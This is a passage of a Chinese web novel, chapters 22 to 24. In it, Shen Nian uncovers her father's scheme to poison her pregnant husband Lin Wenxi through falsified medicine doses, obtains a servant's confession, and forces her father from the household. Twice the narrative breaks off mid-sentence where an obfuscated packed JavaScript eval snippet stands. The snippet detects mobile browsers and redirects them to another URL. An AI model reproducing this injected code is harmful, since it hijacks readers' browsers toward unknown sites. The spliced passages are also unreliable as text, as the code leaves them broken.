偏偏沈年还不回来,他心中惦念,想着日后再也不同沈年置气了,盼着她回来好言好语哄一哄,叫沈父莫要弄那些子怪汤给他喝了。 沈年不放心沈父与林闻溪独处,忙了两日,午间总算有些空隙回家一趟。 推门进去是一股浓重的药味,林闻溪正盖着毯子在塌上昏昏沉沉的睡着,脸比几日前更瘦削了一圈,睡着了眉头还蹙在一起。 沈年看着他容色不好,心里疼惜探手进去在他胳膊上握了握,似也细了几分。 搬来张小凳守在他面前,琢磨着能再说什么话劝的动他。 林闻溪睡的头昏,一睁眼瞧见沈年在就伸手去揽。 “三娘可算回来了。”他坐起来都好像费力,沈年扶他起身。 林闻溪想了她几日,碰到她的手便牵上来絮叨:“三娘把我一人仍在这里,可是还生我的气。” “有事忙。”沈年端给他杯温水润润喉,“怎瘦了这么许多。” 林闻溪指着桌上的那一碗又一碗汤,“还不是父亲叫我喝的那些玩意,我哪还有胃口吃饭。” 他说着都差一点要吐,沈年拍了拍他的背,走过去掀开盖一闻也差点反胃。 沈年转头问:“这里头是什么东西?” “父亲说是保胎用的。” 沈年看着药罐子里的黑水,心想这是保哪门子胎,故意折腾人才差不多。 22. 第 22 章 沈年将那几碗汤端出去,熬了一碗清淡米粥进屋来晾着,将窗户支起来散去药味。 林闻溪下不了榻,发丝凌乱松散将他的泛着病气的脸挡了几分,衬着他那双圆眼中的无助可怜劲更浓了几重。 “院里的人呢,怎都不见了把你一个人放着。” 沈年呆不了多时,端着碗吹凉喂到林闻溪嘴里问。 林闻溪喝下身子都暖和起来,唇间有了血色,虚弱无力道:“都跟着父亲去城门口接大夫了。” 沈年见他捂着喉咙想吐,放下碗抚着他的胸口给顺气,“但愿能好吧。” “不然别说这孩子了,你连你自个都顾不好,看现在这样子只能任人摆布,弄的一口饭都吃不进去了,等着一尸两命不成。” 林闻溪急着接话着呛了口气,重重咳了几声憋红了脸:“三娘好好的说这些不吉利的话作甚。” 沈年心急如焚,好言好语他听不进去丁点,恼脸跟他诉自己的苦楚。 “那你说说你要我怎么办,干看着你好好的个人几天不见就连地都下不了,被这未出世的孩子耗得精气全无,一身病痛才行?” “这孩子是我在菩萨面前求来的,老天好不容易眷顾我一次,我若违了天意说不定又要厄运缠身。” 林闻溪的眼泪夺眶而出,他奋力跪坐起来握住沈年的手,“到时候也会把你从我身边带回去,我害怕……” 沈年说起来与林闻溪也算同病相怜,他口中那些听起来荒唐的神仙菩萨之言,她小的时候也曾想过。 “我在原来的地方也是无家可回,我不会走的,会一直留在这里。” 林闻溪惨白的脸上满是泪痕,他原暗自在心中猜沈年是从九重天上的哪间仙殿里落到人间的,不成想原也这般孤苦。 一时顾不上自己哭了,迎上去搂着她的腰,将脸贴上去觉得这样能让她安心。 “如今有我在三娘身边,这里就是我们的家。” 沈年伸手摸到他柔软的乌发,“那你要听我的话,爱惜自己的身子。” 林闻溪抬起头仰望着沈年,与她的视线相碰,她眼中盛着温柔的情意,拽着他的心与她的心粘在一处,他敢赌自己的命去保这个孩子,为何不敢赌她对他的情意呢。 即便一时觉得他新鲜日后腻了,以她这样善的心,至多让他独守空房必不会苛待到哪里去。 他向沈年妥协点了下头,而后又仰了下脖子撅嘴向沈年讨吻。 沈年不知道林闻溪为何如此痴迷和她亲,但他好不容易听了一次话,不给点好处怎么行。 她俯身下去捧着他脸,含上他的唇长吻,林闻溪嘴巴里留着的药味,这孩子留或不留,他都免不了要遭一回罪,也不知他身子能不能禁得住。 林闻溪察觉到沈年走神,睁眼轻轻在她侧脸上咬了一口,无甚力气捶了她的肩一拳。 “三娘怎还有空想别的。” 沈年无奈的摆摆头:“我能想什么别的,不还是操心你的事。” 林闻溪跪不住勾着沈年的后颈躺倒,明晃晃的暗示:“三娘两日不回来,我好生想你。” 沈年对着眼前这个病弱之人实在生不出坏心思来。 但若不允他恐他又怄气反悔,故意低头下去将衣角推上去亲他的腰,林闻溪最抵不住如此,碰两三下就跟她求饶。 沈年暗笑着坐起来端起粥碗重新喂他用饭。 林闻溪红了脸,许是刚才折腾了几下开了胃口,这回勉强能吃的进去点了。 正巧碗见底的时候,沈父一行人引着大夫进了里屋,沈父一进门打眼瞧见沈年手中端着的碗,眼色微变。 来的是位上了年纪的老大夫,沈年忙着起身迎大夫坐下,未太注意沈父的举动。 林闻溪倒是全数收在眼中,抬起手背在脸上不经意的贴着,好让面颊上的红晕尽快褪下去。 林闻溪盖了一条绢子在手腕上,大夫搭手上来为他把脉的时候他心中还存着一点希冀。 不同于先前那位大夫满目愁容,老大夫面目平和凝神从左手脉换到右手脉按了许久,而后默默起身,抬手示意沈年和沈父移步到外间说话。 沈年为大夫奉上一盏清茶,“大夫,你瞧着他这身子如何?” “郎君的此胎的确来的不是时候,不过也不是药石无医,按我的方子用药或可保这孩子无虞——”大夫先下意识瞥了沈父一眼,才将眼神转到沈年身上,“不过我这药厉害,少君的身子要受些消耗,不过来日临盆之后可以在慢慢补养回来。” 沈年心下觉得不大安稳:“这样说来,也不是万无一失。” “郎君身底子不好,便是太医院的院首前来,也不敢保证能十成十治好。” 未等沈年再说什么,沈父就先谢了大夫一声,唤小侍进门去问林闻溪,林闻溪自然欢喜的谢了大夫,捧着大夫写的方子当救命稻草。 他在兴头上,沈年坐在塌边瞧着不知该喜还是忧。 沈父挑着眼皮瞟了林闻溪一眼,放下手中的茶盏说道:“年儿不得空回来,不如让他跟着我回去官署中,如此也好照料。” 林闻溪闻言敛回心绪,直起腰看向沈年,偷偷用被褥掩着手臂,将手指探到沈年的手掌中画了个“不”字。 “我往后午间抽空回来一趟,何况还有这一院子侍从在,就别让他去叨扰父亲了。” 沈年一口回绝了过去,沈父也没再接着扯皮。 “父亲您日后也无需费心给他熬那些汤药了,我瞧着他喝不惯那些,都剩在桌上飘得屋里都一股子怪味,女儿夜里回来都没法子睡了。” 沈父甩脸色道:“那些可都是我从前怀着你的时候喝的,里头的药材都贵着呢,都是保胎的好药,大夫就在外头女儿若不信可去问问。” 沈年:“女儿不是那个意思。” “不喝便罢,为父为你们忙里忙外,女儿不领情只顾纵着新婿的小性子,当真是有了夫婿就忘了爹阿......” 沈父说罢又气愤的甩袖而去。 见沈父走了林闻溪扑到沈年身上,“三娘,我早说了我们的孩儿有福气,是菩萨赐给我的呢。” 沈年起身到妆奁里拿起木梳,将他散乱的鬓发理好,“就是你要受不少罪了,而且也不是万保无一的事。” 林闻溪打断她的话,“男子怀胎生育本就是千难万险的,这点苦不算什么的。” 沈年不好开口再扫他的兴,将白石唤进屋中。 “郎君如今身边离不得人,日后只你到屋里照料便好,万不可将再他一个人留着,若是父亲要支使你也不必去,就说是我吩咐的,有什么话等回来问我。” 白石这几日受了几回沈父的差遣,一趟又一趟被支出去从东街跑到西街,买的尽是些不相干的杂物,他早就想寻沈年讲一声了。 此刻得了沈年的话,底气十足的答了一声是。 沈年还不怎么放心,辞了林闻溪出来后又特意吩咐院中的几个小侍,别进屋到林闻溪面前去晃,只管把药熬好,喝药的事等他回来再说。 见那几个小侍重重点头,才又匆匆离去。 去时见宋昭佛一身鲜亮整肃的常服,隔着老远立在土坡上,一手挎腰一手指挥着人搭帐子。 沈年忙迎上前去拜见,宋昭佛居高临下如同只冷傲的仙鹤,淡漠扫了她一眼。 “听闻沈三娘子家中有喜,还未道一声贺呢。” 沈年拱手道:“也算不什么喜,不敢承宋大人的贺。” “沈三娘两处奔忙脚不沾地,连我都要艳羡几分,还不算喜?” “这家家有本难念的经,宋大人不晓得这里头的麻烦,实在不必说什么羡慕的话。” 沈年汗颜道,说完将话题从她身上引开。 “宋大人怎么亲自过来了,这里整日灰天土地的,恐要脏了您这一身衣裳。” 宋昭佛飞眉一挑不悦道:“几件衣裳而已,本大人还是有的,我身为御命钦差代陛下巡查,万事自要亲力亲为。” “大人教训的是。”宋昭佛阴晴不定,沈年不敢再多说话低头答道。 宋昭佛从土坡上跳下来,她约莫刚过三十,身形灵活轻盈落地。 她指了指河岸处围着砂堆聚成个个小圈的劳工,“沈三娘子不早安排她们筑坝,教她们堆那些土砂做什么用。” 沈年微笑着向宋昭佛解释:“用具所需太多我一人制不过来,便教她们用这种砂模,用木头便可制成上下两个砂箱,用沙土填进去便可制成模型浇入铜水、铁水便可铸造成型。” 沈年口若悬河讲了一大堆,宋昭佛听的云里雾里并不懂,困惑的摸了摸鼻梁。 沈年见状一时停住嘴。 宋昭佛倒是并未怪罪,“无妨,你继续讲你的便是。” 沈年不继续长篇大论,规整成一句话:“此法成本低还可做各种复杂的型制,等再过几日她们熟练上手,缺什么工具便可自己动手制。” 宋昭佛盯着她目不转睛,冷不丁的开口邀她:“今日我命人备一桌好宴,沈三娘子过来喝一杯。” “这……”沈年犹豫道。 宋昭佛:“怎么?” “我也不想弗宋大人的好意,只是我家中那郎君他大不安稳,需回去照料。” “哦?”宋昭佛奇怪的打量了沈年一眼。 沈年年前闹的那出子风流韵事在京中传遍了,京中人都言沈三娘子放着屋里刚过门的正君不理,和一鳏夫混在一起。 如今听起来是浪子回头成了个情种了,她倒是有些不信,想着沈年是寻了个由头搪塞她。 “那等沈三娘得空,你我再一叙。” 沈年忙回答道:“到时一定去登门拜访宋大人您。” 沈年又略站了一下后告退,宋昭佛回到帐中叩了两声桌案,两个暗卫不知从何处钻出来跪地听命,宋昭佛交代了几句二人又翻身出去。 林闻溪吃了那大夫的药方,面色瞧着红润了许多,只是人却一日渐一日的消减,每日昏睡的时辰越来越久,即便是醒着的时候也是昏昏沉沉的,不大精神。 连着喝了有五日,沈年这夜回来的早,林闻溪闭着眼睡的昏天黑地。 沈年出门唤来白石问了问。 “除了午间三娘子叫醒郎君喝药的那会工夫,余下的时候一直睡着,连手指头都未动一下。” 沈年感觉不大对劲,又问:“父亲可来过?” 白石摇头:“自那日请大夫回来后,就没见再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357403|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” “我看今晚这药就先放一放。” 沈年瞧着白石手中端着的药碗,想了想后说了声,又转身回屋里轻拍林闻溪的脸唤他醒。 林闻溪睡的死沉沉的,好似没有知觉,沈年在他胳膊上掐了一下他才有了点反应。 沈年让他靠着自己坐起来,用冷水抹了下他的脸好让他清醒。 林闻溪说话虚浮无力:“三娘回来了。” 沈年问他:“你现在是何感觉,有没有觉得哪里不舒服?” “不知道......” 林闻溪蜷缩在她怀里,脑袋几次三番往下坠。 沈年心慌又唤了小薇来,请她寻那大夫过来再瞧瞧怎么回事。 小薇出门才又想起来,官署这会早就落了锁,官家重地不能擅扰。 小薇看沈年急的冒汗,宽心道:“三娘子别太担心了,那大夫不是早都说了喝这药会损耗少君的身子,或许就是药效发作的缘故。” “我怎么看都不对......”沈年将林闻溪放下,“我去寻街上那位大夫再来看看。” “人常说看病不找两个郎中,吃药不吃两家的药,”白石也跟着劝她,“三娘子这是病急乱投医了。” 沈年听不进二人的话,嘱咐看好林闻溪,急行出去到街上叩大夫的门。 半夜三更的扰人清梦,周围的街坊四邻门中传出几声咒骂,沈年见屋中亮起了灯盏,停下动作没再敲了。 “是谁?”大夫隔着门烦躁问道。 “大夫是我,我前几日才找您看过方子。” 隔了片刻,大夫将挡门的门板挪开,探出头来问大半夜的出了何事。 沈年向大夫说了林闻溪的情形,请她无论如何也要过去瞧一瞧。 沈年平时给医药费大方,近来又在这兰城有了些好名声,大夫答应下来将衣裳重新穿上,随着沈年前来。 大夫一见到林闻溪就皱眉道:“怎养成了这般模样?” 沈年请大夫坐下:“他自开始用那药,就渐渐成了这样。” 大夫问:“是沈娘子前几日给我瞧的那方子吗?” 沈年点头。 “那不应如此啊,那方子一看就出自名医之手,是个好方子,”大夫观察着林闻溪的脸色,“虽不知药效有没有沈娘子说的那般妙,但也不不会把人治成这样。” 大夫说着搭上林闻溪的脉一探,忙向沈年道:“这脉象凶险,郎君喝的药在何处,快端来我瞧瞧。” 沈年颤了一步,白石疾步到外面将药碗和药渣都端到大夫手中。 大夫将鼻尖凑上去辨味道,又一翻药渣便明白了。 “这方子是个好方子,若药量不对,便是个要人命的毒方了。” 一股寒意从沈年的脊背上攀到头顶,她浑身汗毛倒立,转头看向榻上的林闻溪:“这药有问题?那他呢......” 大夫道:“这药再多喝几日就神仙难救了,多亏娘子发觉的早,郎君的小命还可保。” 沈年大喘着气点头,脱力跌坐在塌边。 大夫提笔写下一个药方交给白石,“先给郎君喝下这个,先清醒过来。” 又转头向沈年:“沈娘子,这腹中的孩子一日也不可多留了,多呆一刻就多伤一分。” 沈年双臂微微发抖,语气但已然冷静下来:“还请大夫一同备碗药来。” 大夫点头跟着白石一同前去。 闹到半夜喂林闻溪喝下药,沈年重金谢了大夫,送人出门后便将院中的几个小侍全数捆绑起来关着。 她托了小薇去帮她跟宋昭佛告假一日,一直坐在塌边守着林闻溪醒来。 晨间煦日的霞光漫到屋中时,林闻溪终于醒转过来。 他费力的将眼睛睁开,碰了碰沈年的手背,“三娘怎么在。” 沈年看到他的眼睛,弯腰伏在他身上痛哭,林闻溪揽手上来摸摸她的脑袋。 “怎么了?哭什么?” 沈年哭的浑身都在抖,呜咽着在他耳边道:“假的,都是骗人的。” 林闻溪或许是心中有预感,猜到了什么,他不让自己哭将沈年抱得更紧了,他早已习惯了被打碎后迅速再将自己拼起来,尤其是此刻还有沈年需要他。 他的声音坚强又温和:“没事,没事的。” 沈年红着眼眶半撑着坐起来,转头看向摆在桌上那一碗药,又抑制不住落下一连串眼泪。 林闻溪摸着她的脸,还是未将自己绷住,眼角划出的泪珠和她的泪交融在一处,分不清彼此。 他扭头看向桌案,“是不是喝了那碗药,就会结束了呢。” 沈年泣不成声,埋着脸点头。 林闻溪抹干净眼泪,朝她笑道:“端来给我吧。” 沈年失魂的过去,握着碗又回来。 林闻溪从她手中接过,轻声道:“叫白石进来陪我可好,我不想让三娘看到。” 沈年出去靠着门框瘫坐在地上,一阵长久的沉寂后,屋里传出林闻溪及其痛苦的压抑的喊叫,沈年忍不住颤抖回头向门缝中看。 却什么都看不到,只闻到一股血腥味。 她掐着自己的手心,想着罪魁祸首强迫自己扶着墙站起来。 23. 第 23 章 沈年踹开柴门,当啷一声,将称药的那杆小秤扔到几个小侍面前。 他们手脚被用麻绳紧紧捆着,歪七扭八的伏倒在地上,沈年将门外的日光掩着,手里的长剑泛着点点金光,冷峻的脸上杀意腾腾。 沈年脚步沉沉停在给林闻溪熬药的那小侍身边,一抬手将剑锋指向他的眉心,“你最好自己给我说。” 其余的几人吓破了胆也跟着纷纷向后躲,他们的身契在沈府压着,沈年此刻悄无声息要了他们的小命也没什么不能的,那小侍更惊恐嘶声求饶道:“三娘子,这杆子小秤是阿雀他拿来的,不关我们的事阿......” 阿雀平日里仗着长得有几分姿色,又得沈主君的宠,在沈府侍从堆里只拿自己做半个主子,整日里吆五喝六,走起路来都那眼睛就跟长在头顶一样气盛的很。 他本就不得人心,出了这摊子事更是墙倒众人推,几人没一个护着他的,恨不得多在沈年面前告几句状。 “就是那日进屋中服侍三娘子的那个,自那日攀附三娘子不成后他便时常出言咒骂少君,一定是他怀恨在心才在这秤上做了手脚,害死了少君就没人拦着他做主子了。” 沈年转了转脖子往前一步,将剑抵到那小侍的心口,“当真和你们一点干系都没有?” 几个小侍点头如捣蒜。 沈年将剑锋顺着那小侍的身体划过,小侍盯着刀刃颤抖着咽了咽口水,直到沈年手腕一转将他手中的绳子挑断,才算是逃过了一劫。 几人按沈年所说写了一张证词按上手印。 沈年攥着这纸思忖,凭阿雀一个下人怎能懂那些药理,不过是被沈父利用做了他手中的杀人刀。 她就算是从阿雀嘴里撬出口供,那老大夫和沈父也会抵死不认。 更何况按此朝律法,状告身生父母是头一等重罪,轻则流放重则被杖责处死。 她有御赐圣物可以免罪,林闻溪却逃不过。 她至多能将阿雀这个替死鬼拉下水。 思来想去只有一人可动的了沈父。 沈修撰最为看重沈家的尊荣前程,书中沈年意外辞世后沈家的香火就此断了,她自此之后心灰意冷,半生醉心仕途的人最后结局却是遁入空门,与青灯佛经为伴就此不问世事。 沈年将纸塞进怀中,指了其中一人跟着自己前去府衙报案。 沈父见沈年带着十几个官差横冲直撞进来拿人,心虚地隔着窗缝打探,见官差押着阿雀要往他门口走,又将窗缝合上。 阿雀被两个人压着,到沈父屋门前屈着腿不肯走,上身奋力挣着朝着门口嚎叫一遍遍唤沈父出来相救。 他的声音尖细刺耳,引得相邻左右两院五六个人扒到墙上来瞧热闹。 从沈父屋中钻出来的是一老仆,他在阿雀脸上重重落下一掌,“你这黑了心的恶仆,居然敢用此毒计谋害少君还敢叫主君护你,可怜你爹娘将你捧做花骨朵一样长大,如今你叫他们的老脸往哪搁。” 阿雀听到这话,眼中滚出一滴泪,停下了挣扎的动作被官差一路拖行着带出了官署。 沈年跟着那老仆到沈父屋门前,他正坐在几案边摆弄香炉,抬首唤沈年进来。 “那林氏无碍吧。” 沈年停在门口未动,“您何须明知故问呢。” “女儿这话是何意,为父听不大懂。” 沈父起身从袖中掏出木盒子移到沈年面前,打开里面是一个长命锁和一张平安符。 “年儿的生辰将要到了,每年爹爹都会为你备下这一锁一符,别府的主君总笑话爹爹呢,说年儿都多大了我还往你身上挂这些小孩子的玩意。” 沈父和蔼说着将木盒中的银链拿起来举到她眼前,那只小巧的银锁在空中摆荡,上面的小铃铛发出叮铃铃清脆的声响。 林闻溪差一点被他几碗药害的没命,他半身在鬼刹做刽子手,半身在佛庙求平安符,实在荒诞。 沈年从他手中将那长命锁拽过来扔在木盒里,“父亲拿出这东西当真是为女儿求平安的,还是为自个做的恶事求情?” 沈父顾左右而言他,“年儿是愈加不懂事了,从前为父替你管教那林氏,你向来不多问爹爹一句,如今为了他左一句右一句的责问父亲是何道理。” 沈年冷冷嗤笑一声:“父亲和那老大夫勾结千般算计狠心要夺人性命,还不许别人说出来了。” “空口白牙,年儿说为父要夺人性命,可有什么证据!” 沈父极力辩解着,语气过激带着脸上的沟壑挤在一起,看起来居然显得有些可怖。 沈年道:“那牢狱中的刑罚,父亲觉得那阿雀他能抵得住多久。” “他一个下人的话如何可信,女儿难不成还要把为父告上公堂不成。” 沈年的脸上露出一抹微笑:“官差奈何不了父亲,那母亲呢。” 沈父目眦欲裂,揪住沈年的肩梗着脖子喊道:“我才是生你养你的父亲,你……你如何敢!” 沈年横着脸向后退一步,“父亲陷在这沈府心中积的怨念太重,还是去佛堂净净心吧。” “凭什么!”沈父伏在门框上眼中闪着泪,口中却一声声笑起来,“女儿眼下和那林氏情深甚笃,可想过日后时过境迁......说不定那林氏比我还要更加狠毒上几分呢,爹爹才是这世上最疼你的人。” 沈年低头一笑,“他日后若做出害人性命的事情来,我一样不会容他。” 她说完瞧了沈父一眼,闭上眼转身离去。 狱中。 阿雀以下犯上毒害主人,一来就被关入天牢之中。 沈年顺着一条长长幽黑的甬道走进去,四面的墙壁因常年不见光,上面生出一层又一层的霉斑,里面的空气又潮又湿,堵着一股陈年的怪味,混着血气和湿淋淋的汗味,还有老鼠之类尸体的腐烂味。 穿过甬道走到中间的空堂,那种逼仄感才稍稍消退一些。 狱卒手中提着一条细长的鞭子向沈年走来。 “沈三娘子呆不惯这种地方吧。” 狱卒看着沈年的模样,习以为常的从腰间掏出一个小圆盒子,抹了一指膏药到沈年的鼻尖。 沈年呼吸一下子通畅不少,向狱卒道谢。 狱卒摆了摆手,给沈年递过一张沾了血滴的纸来。 “那人已经招供了,说是他心中嫉恨欲毒害沈娘子的郎君。” 沈年低头看了眼供词,阿雀果然将所有罪责都揽在自己一人身上,半个字都没提沈父和那老大夫。 沈年向狱卒问可否去牢房亲自问一问,狱卒客气的点了下头带着沈年过去。 阿雀被绑在木架子上,身上绽开一道道新鲜的鞭痕,头发被浑身渗出的冷汗打湿糊在额面上。 只是进来这片刻的工夫,就好似被脱了一层皮一样,他的头侧着耷拉在一边,沈年走到近前被扑面而来的血气冲的皱起鼻子,她瞧着阿雀的惨状并不觉得有多痛快,反而一阵心悲。 “这小子身子弱,挨了几下就晕过去了。” 狱卒说着捧着一碗水洒到阿雀脸上,见阿雀上身动了动便退身出去,留沈年单独和他说话。 阿雀呼吸微弱,不肯将头抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379077|167737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,也不出声向她求救,一副坦然赴死的姿态。 沈年问他:“是父亲逼着指使你做的,还是你自愿的。” “是我自己想做的,和别人无关。” 沈年对他留着最后一丝怜悯,“你与他不过见了几面,怎就那么恨他,要做到这种地步。” 阿雀说话时伤口撕扯着向外冒着血,语气依旧不甘示弱:“我为何不能恨,他不过也就是个外头的野男人生的贱种,为何他就好命能入这偌大的沈府做正君,却要拦着我往上爬。” 沈年一口气塞在喉间,出不了声。 他落得现在这副样子,也算是尝一点林闻溪身上的痛而已,并不值得她可怜。 阿雀如何记恨林闻溪,更不会牵扯出沈父,让林闻溪没了对手日后过的好。 沈年围着他转了几圈,笑他道:“你如此豁出命去护着主君,你以为他会记得你的情,他连自己的亲生孙儿都下的去手害,又怎会放过你一个罪仆的父母。” 阿雀闻言将头微微抬了起来,水珠顺着他脸滴在地上的水滩中。 咚……咚……咚……细弱又分外清晰。 一声接一声,如同他此时的心跳。 “等你一死,你的娘亲和爹爹一定不让你孤单,跟在黄泉路上伴着你。” “你若是说出事实我自会保他们,你是信得过我,还是主君?” 沈年一句接一句话,将阿雀心中的防线击了个粉碎,他不怕死但如何也舍不得的娘亲爹爹跟着他受苦。 “是主君,是主君叫我去做的!主君恨林氏蛊惑了三娘子的心,串通了那老大夫作戏打算一举除了林氏。” 阿雀崩溃说着大哭。 沈年走出牢房很远一段路还依稀能听到他的哭声。 沈年在一个监牢的铁栏前撞见了沈修撰,沈修撰查案刚审完犯人走出来。 沈年瞧她的脸色就知道,她一定已经听说了沈年带着官差大张旗鼓去官属中捉人的事。 果然沈修撰一上来就是一顿劈头盖脸的痛骂:“一个下人犯事,关在家里私下处置了就是,惊动官差叫一院子同僚看沈家的笑话,你行事之前可否过过脑子!” “不光是下人的事,父亲他也参与其中。” 沈年的声音如同一道惊雷,沈修撰身后的下官乍然间安静下来面面相觑。 沈修撰的脸上生出一种她从未见过的新鲜的表情,扭着眉目将嘴角压成两道竖纹,暴怒的扬起了胳膊照着沈年脸上打来。 沈年将头往后一仰,她扑了个空脚步左摇右摆,幸有身后下官冲上来扶了一把才未摔倒。 “沈大人和沈小娘子有什么话慢慢说,我等先退下。” 几人逃一般的从两人身边溜了过去。 沈年将刚刚阿雀画押的供词呈给沈修撰眼前,“女儿手中有人证供词,还请母亲明鉴,送父亲离府到佛堂静修七年。” 沈修撰抢过供词团在手中撕成粉碎,全然不在意此事,一味的斥骂她道:“你这逆子,要为了一个男人要把沈府闹的翻天覆地不成。” 沈年目光熠熠,坚定道:“母亲若是不惩戒父亲,此刻出去我便写一封绝亲书,你我母子之情俱尽,此生此世不复相干。” 沈修撰颤颤巍巍的抬手指着她,失态的连声惊道:“孽子!孽子!我怎生出你这么个六亲不认的讨命鬼!” “要我留在沈府,还是父亲,还请母亲趁早做个决断。” 沈修撰脸上紧绷的肌肉微微跳动,她灰暗的垂下手,嘴巴似木头一般一张一合。 “你……你留下。” 24. 第 24 章 沈修撰从狱中出来被随从搀扶着上了马车前往官属寻沈父。 沈年回院途中被一辆马车拦住路,从侧边帘中探出一只玉扇来,穿过缝隙沈年瞥见宋昭拂的脸。 她颔首隔着车帘作礼,恭敬唤了声宋大人。 宋昭佛在里面悠悠说道:“沈三娘子可是欠了我好大一个人情呐。” 沈年不明所以,思忖了一瞬只想到或许是她今日告假又惹了这位宋大人嫌,“家中突生变故实是抽不出身,望大人体谅一二,日后定不会再缺值。” “请沈三娘子上来说话。” 车夫闻言将车门打开半扇,跪伏在地上示意踩着她的背上去。 “宋大人我家中……” 沈年正想婉言推辞,宋昭佛出声打断她。 “沈三娘子的父亲派人来强掳那林氏,已被我的人救下安置到别院去了。” 沈年啊了一声,看着车夫的背无处下脚,抓着木框连蹬带爬的滚进了车厢,宋昭佛皱着脸向后一躲。 “放心沈娘子的郎君暂且无碍,本官已留了大夫照护。” “谢宋大人相救,我一人分身乏术顾得了这头就要落下那头,已是心力交瘁,若再出什么意外,真要去撞头了。”沈年说着从木板上坐起来拍了拍衣上的尘土,“不过宋大人怎会刚巧在我家院中?” 宋昭佛被沈年问的一愣,拿扇面在额头上敲了敲才说道:“本官想去问问沈三娘子何时能回来当差,正撞见沈主君的人持刀带棍的冲进来,情急之下只好命随从将林氏连同他屋里的那侍从裹着被褥抬出来救走。” 沈年道:“宋大人大恩,来日我定备一份厚礼呈送到您府上。” “什么厚礼都不如沈三娘子对朝廷还有陛下的忠心,你可明白。” 宋昭佛本在京中耳闻沈年的技艺,觉得不过尔尔,自前几日亲眼所见便被其折服,这样不可复得的大才要早些拢到手中,若迟一步被有心之人掌控,新帝的凤位恐怕更加摇摇欲坠了。 她这话中有话,有意垂青,更有意试探。 宋昭佛将手中的扇子折起把玩,盯着沈年的眼睛审视。 沈年哪里懂这些官场门道,一味的剖出真心想什么便说什么:“此事关乎数千百兰城百姓的性命,待府中的这些事了结之后下官定会心无旁骛,不负陛下所托竭心尽力。” 宋昭佛难得对着她笑了笑,“如此甚好。” 沈修撰是官场中历练多年的老油条,又滑又腻的,嘴里的话不知那句是真,哪句又是假,宋昭佛极不待见她。 不料想这沈年心如白纸一张,清新无邪一眼可以看到底。 宋昭佛满意的在心中盘算给陛下上书求赐给沈年个一官半职好彻底将沈年拴牢,再无别党可依。 马车停在一间高墙大院前,门口摆着两只威严的镇宅神鸟,十分气派。 “沈三娘子的那间小院已被那几几个歹人砸坏,无法住人了,过两日将东西搬过来在此住便可。” 沈年受宠若惊都不知该如何言谢了,目送着宋昭佛离开才推门而入。 门后有两人持刀把守,沈年瞧着她们的装束同先前所见的那些甲卫如出一辙。 “宋大人命我等在此护院,沈娘子日后安心出门当差就是。” 沈年点头道:“辛苦,辛苦。” 院内陈设古朴雅致,穿过前面的一间厅堂,是一间书阁,门匾上提着“素台阁”三字。 阁中摆着几个大木架子,不过空空如也,一本书都没有。 这显然是别人住过的旧宅,沈年心中描摹着原主人的画像,应是个手不释卷,痴迷文赋的世家才女。 从后门而出便是主屋,门前值着几排绿竹芭蕉,过了早春散着嫩生生的浅绿,将她心中的郁气净去不少,畅然开怀。 林闻溪身子痛又受了惊吓被人稀里糊涂抬到这里来,想合眼养养精神却频频被梦惊醒。 听见外面的脚步声,以为又是白石端了什么药进来,他没力气坐起来也不想再往肚子里灌那些苦药了,假装闭上眼趴着不动。 等门推开他辨出是沈年的步伐,一转头正对上她熬得满是血丝的眼睛,忧心地问他话:“觉得好点了没,可是还疼的厉害。” 林闻溪数了数她已是一天一夜没合眼了,拉着她的手进被中躺下道:“喝了大夫留的药,已经安稳没那么疼了。” 沈年侧过身将手心温在林闻溪的小腹处暖着,让他能好受一些,“我已经替你惩治了害你的人,将他送出了沈府,日后他没机会再来打骂你了。” “父亲他怎么肯的?” 沈年:“他当然不肯,是我逼母亲这么做的。” “那父亲还派人来掳我做什么,是想鱼死网破杀了我不成,”林闻溪边说边思考,“可除了我,三娘和母亲更不会容他了,这不是又添了一把火嘛。” 沈年抬手揉了下他的脑袋:“你无恙便好,大夫嘱托了叫你日后勿要再多思多虑,好好养你的病,费心思猜这些也无什么用。” 林闻溪劫后余生,冒着一股子傻气,嘿嘿的笑了几声。 “是......是......三娘教训的是。” 他靠在沈年怀中,沈年分明能摸得到他身上的根根肋骨,林闻溪实在是瘦了许多。 “往后每日多吃几碗饭,养成之前那样身上有点肉好。” 林闻溪止了笑声,往墙那边挪了挪,扭头蒙着脸睡。声音黯淡道:“知道了。” 沈年听见他变了声气起身凑近他,林闻溪刻意的往后躲。“好好的这又是怎么了?” “三娘别离得这么近看我。”林闻溪抓起帕子盖在自己脸上,从前他好看的时候他巴不得沈年能这么盯着他看,可现在......他不用照镜子就知道,一定很让人倒胃口。 沈年哪能猜的到他这些弯弯绕绕的心思,“又耍什么脾气,刚好一点又要跟我闹哪出?” 林闻溪不理她,反将脸埋的更深了。 “我再问最后一遍。” 林闻溪听到警告怕再惹得沈年同他置气,于是扯下帕子为难的问道:“我只是害怕我如今这副模样不似从前,不想污了三娘的眼。” “啊?”沈年对林闻溪有些时候实在捉摸不透,摇了摇头说:“你不过是病瘦了点,这脸还是俊俏的很,再说养些时候自然能恢复如初的。” “三娘真觉得好看?” 沈年迅速点了点头。 林闻溪朝她笑了笑,“三娘能不能下辈子也娶我......” 沈年被他逗笑,一头栽倒在他肩头。 “下辈子太远,养好你的病再说吧。” “我到奈何桥上也跟着你,那就不远了。” 